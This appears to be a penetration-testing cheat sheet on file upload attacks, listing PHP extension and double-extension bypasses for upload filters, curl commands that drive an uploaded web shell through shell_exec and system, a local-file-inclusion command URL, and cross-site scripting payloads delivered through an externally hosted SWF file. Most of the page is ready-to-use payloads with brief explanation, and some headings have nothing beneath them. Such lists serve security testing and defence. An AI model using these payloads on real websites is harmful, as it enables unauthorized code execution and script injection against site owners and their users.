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Upload

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Exploits

Image Tragik

HTTP Request
Reverse Shell
Touch command

PHP Extension

.php

Less known extension
.pht
.pgif
.phtml
.shtml

Double extension
.jpeg.php
.png.php

PNG Bypass a resize

Upload the picture and use a local file inclusion

You can use it by specifying $_GET[0] as shell_exec and passing a $_POST[1] parameter with the shell command to execute.
curl 'http://localhost/b.php?0=shell_exec' --data "1='ls'"
curl 'http://localhost/test.php?0=system' --data "1='ls'"

JPG Bypass a resize

Upload the picture and use a local file inclusion

http://localhost/test.php?c=ls

XSS via SWF

As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs. This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either.

Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}

IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);

References

  • Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil